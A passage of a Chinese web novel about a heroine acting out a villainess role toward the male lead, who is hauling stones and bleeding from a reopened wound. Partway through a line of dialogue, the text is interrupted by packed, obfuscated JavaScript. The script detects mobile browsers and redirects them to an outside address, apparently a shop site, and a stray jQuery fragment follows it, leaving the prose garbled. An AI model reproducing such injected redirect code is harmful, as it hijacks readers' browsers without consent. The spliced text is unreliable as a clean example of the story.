小圆这时从偏门进来,为温淼披好外衣:“小姐怎么坐在这儿,地上凉,奴婢扶您起来。”
温淼努努唇,欲哭无泪地瞅着她,眼巴巴地问:“他为什么会在外面挖石头?”
小圆愣住:“您说要给他安排一样煎熬的活记,可咱们院子里每日打扫,一点不脏,很快便能干完。奴婢们思来想去,也就门口那块巨石容易让人产生这种情绪了。”
顿了顿,她有些沮丧:“小姐……奴婢可是,做错了什么?”
“没有没有,别多想,我就是问问……问问。”
失策。
属实是失策啊。
方才看褚希郁那个表情,分明是轻松的,好像那块石头在他手中一点重量都没有,温淼突然觉得有哪里似乎不太对劲。
常年被人欺辱的少年,真的能拥有这么大的力气吗?
原著有说过男主是力大无穷的人设吗?好像又在无形之中,有什么东西和原本的设定对不上了。
问系统也是白搭,这也是个一问三不知的家伙。
思索片刻温淼脑海中浮现两个答案,皆附有不同的深意,她忽然不太敢往下想了。
罢了罢了,稀里糊涂也是过,只要完成任务保住小命就好了,反正也会死遁,这具身体的一切她都不能继续享有,既然未来与她无太大关系,那么太复杂的东西便不适合现在去思考。
现在剧情已经乱成一锅粥了,男主也不知道是个什么情况,温淼头疼极了,但某些事情该面对还是要面对的。
“我一会儿要出门一趟,小圆你帮我备车,再帮我准备一顶斗笠,要最不打眼的那种。”
幽幽叹一口气,少女穿好外衣,推开门,螃蟹一样老大不乐意地朝外挪去。
褚希郁肯定不至于明面上给她一拳,但这家伙是个面热心黑的,温淼真怕他给自己暗搓搓使绊子。
但温淼转念又一想,她距离下线还有好几个月呢,褚希郁目前应该还没那个胆子,且沉得住气呢,再者,温炎是有留暗卫给她的。
有了暗卫,温淼的小腰杆瞬间就挺直起来了,这姓褚的再厉害,也定然比不上受过严酷训练的暗卫吧?
既然这样,那他就先暂且卧薪尝胆一段日子,让她好好骑在他的头上作威作福吧。
毕竟留给她的时间不多了,人设必须立起来!
给自己找到了找茬的借口,温淼嘴角勾起一抹狡黠。
她清清嗓子,侧着身子伸出手怼一怼早就察觉到她靠近,已经停下动作,安静立在原地的少年。
褚希郁一双没什么情绪的凤眸低垂着,声音却谦卑:“敢问小姐,有何吩咐。”
“呃……”温淼有些卡壳,其实她自己也没想好到底用什么理由便硬着头皮出来了,只是下意识觉得这是个立恶毒人设的好机会。
大脑正飞速运转着想找到一个不那么蹩脚显得她太刻意的理由,余光便瞥见前面单薄但格外漂亮的脊背印出点点梅花。
她一怔,下意识轻声呢喃:“……你受伤了?”
褚希郁顺势抬眸,伴随着她的目光轻飘飘瞥了一眼。
他今日着一袭银白粗布衫,瞧着是和昨日一般的款式,大抵是府中今年冬日为仆从们新添的,如今还没到领新冬衣的日子,他能穿在身上,想来是底下人讨好,见他是她亲自救回来的,便提前送了来。
不过瞧着似乎比昨日的黑衣厚实些,不知是旁的人都如此,还是光他一人。
“回小姐的话,应当是做活时不慎崩裂了伤口,没什么大碍。”
温淼:“……”
还没什么大碍呢?这么厚的衣服都能透出血来,里面得崩成什么样子?
她拢了拢自己的狐裘,虎着一张脸不言语,实则是在同系统嘀嘀咕咕:“救命,这人看起来真能忍,我要是这么流血我早就吓死了。”
系统故作深沉:“天将降大任于斯人也,必先苦其心志,劳其筋骨,空乏其身,行拂乱其所为。如此男主,心理素质比你强实属太正常不过,你应该反思你自己,是不是太脆弱了。”
温淼:“……”她这种心高气傲的恶毒女配是不会承认的。
不自然地咳了咳,温淼目光四下打转,看天看地就是不看褚希郁。
“你记住,你是本小姐救回来的,那一举一动一颦一笑便皆不能污了本小姐的眼睛,这种肮脏的血衣还穿着做甚?纯属给本小姐找不痛快?我看……你是又想吃鞭子了!”
温淼本意是想给他一个台阶下,把他从搬石头这种苦力活里解救出来,只要他开口提出回自己的屋舍里去换衣,那便皆大欢喜。
可惜。
高挑的少年一声不吭,眉梢都没有皱一下,抬手便解了衣衫褪下。
温淼一张明媚的小脸顿时换上一副震惊的神情,她下意识捂住一半眼睛,气急:“你干嘛呀!耍流氓?”
少年眸底溢出一丝惑色:“小姐,恕我愚钝,何为耍流氓。”
温淼一噎,她下意识就把现代的词说出来了,完全没意识到当下流氓的意思只是指普通民间的无业游民。
她无奈闭眼:“就是说你是个登徒子的意思,谁让你脱衣服了,赶紧把它给穿上!”
想了想,她灵机一动憋了一句自恋的:“本小姐可告诉你,别以为使点上不得台面的小心思便能妄想勾引我,你这种小奴隶一万年也配不上我,省省吧!”
欧耶!今日份贬低男主圆满完成!
褚希郁敛眸,穿衣,没有错过她瞳孔深处的窃喜,掩盖住瞳孔深处的异样,乖顺地说:“小姐当真见多识广,我生于苦寒之地,还从未听说过有这样的词汇。”
他语调正常,甚至透露出一点淡淡的艳羡,却完全没有对她补充的那句话有丝毫反应。
微神态观察下,温淼方才说的话全然是下意识反应,可据他了解,这位温氏大门不出二门不迈的大小姐,绝计没有去过远方,能潜意识吐出这种字眼,应当是在这种文化环境的熏陶之下,生长了许久。
预知梦做完,许多的事当真都同先前的轨迹不一样了。
而这当中最神秘的,莫过于温淼。
旁人的轨迹都是半道所改变,而她,从一开始便不在轨道上。
如今的她与褚希郁梦中的她,简直毫无关系。
就连刻薄的模样也没有丝毫相似,一个阴毒,一个笨拙。
每当看到如此与众不同的大小姐,都会让褚希郁产生一种错觉,仿佛,先前的一切仅仅只是一场不太美妙的梦。
温淼含糊其辞:“你、你一个奴才能听过什么,哎呀总之,我刚刚说的你可要记住了,以后,不可以随便在外面脱衣裳,更不许在我面前!不守男德的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774997|190264||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坏东西。”
“是,大小姐教训的是。”
清冽的音色传入温淼耳畔,褚希郁垂眸看着她,明明只是简单地应答,却将“是”这个字眼莫名拖的很长,尾音好像带了电,温淼蓦然一哆嗦,拧起一双好看的秀眉冲他怒目而视。
抬起手捂上少年那双显得格外勾人的凤眸:“不许看我!”
系统在上帝视角看的想笑,随口打趣:“呦,怎么,害羞了?被我们男主的魅力迷——”
“太过分了!他就是在挑衅我!居然还敢瞪我,这狗东西在阴阳怪气什么?谁给他的狗胆子!”
温淼面色通红,有些是被电打的。有些是被气的。
系统面色古怪:“……你真的这么认为?”
温淼没理它,长期没有记忆生活在古代这个尊卑界限分明的阶层,她不免也变得有些娇气,而在这种阶层里,下人敢直视主家,便是不敬,她下意识代入了这种思维。
虽然温淼的阶级病没有那么厉害,觉醒了现代记忆后更是没剩多少,可架不住褚希郁有前科呀,昨日被他逼得气急败坏落荒而逃的情形依旧历历在目。
温淼对他的印象是负数,又怎么会轻易被其迷倒,想把他撂倒还差不多。
系统不吭声了。
褚希郁也没说话,就着她的手轻轻眨了眨眼睫,长而密的睫毛小伞似的剐蹭在温淼掌心,她觉得痒,别别扭扭抽回手使劲儿对着搓了搓。
“还不快滚回去换衣裳,别在这碍本小姐的眼,看见你就烦。”
话一说完,温淼忽然想起他好像已经没有衣裳可以更换了,昨日那件脏了他才穿的今日的白衣,这样的天气哪怕他连夜洗了也晾不干,以他的性格肯定会湿着穿,这样一来伤口本就好的慢,进了寒气不是更完蛋?
更别说他体内的病症便是寒气入体过甚导致的,一来一去亏的是他的命,损的却是她的钱啊!
思及此处,温淼解了荷包出来,想到什么,递到半空中的手又硬生生转回来。少女退后几步,一边回忆印象里电视剧中坏人拿钱侮辱人时的动作,一边抬起小臂,将荷包砸在少年平坦的胸脯上,发出“啪啦”的一声脆响。
那是一袋子琐碎银两同□□相碰撞的声音。
她虽然要给他钱置办新衣,却不能直接给,得折辱他一下。
否则万一好不容易提升起来的坏印象又给掉下去了怎么办?
荷包被褚希郁单手接住,他直勾勾看过来。
温淼勉强调整一下自己冻的有些僵的脸颊,努力回想系统导演的讲戏过程,马马虎虎做出一个自认为很有感觉的蔑视表情,却忘了收敛眼神。
“那个,我可不是关心你啊,我只是怕你光着身子冻死在我府门口丢了面子而已,你可别误会,真拿自己当盘菜了。”
火红色矮矮小小的一团站在那里,水灵灵的大眼睛一眨不眨地盯着他看,目光清澈有神,分明是嫌弃的语气,眼底却透出几分不忍与一点点十分微弱的关心,更多的是别扭与纠结。
褚希郁唇角无意识勾起,意识到的刹那又很快消下去,眸中划过一丁点儿烦躁。
他最终没说什么多余的话,只淡淡接了一句:“谢大小姐赏,在下铭记在心。”
温淼:千万不要铭记!你要明白,我只是来羞辱你的,可不是真的来给你送温暖的!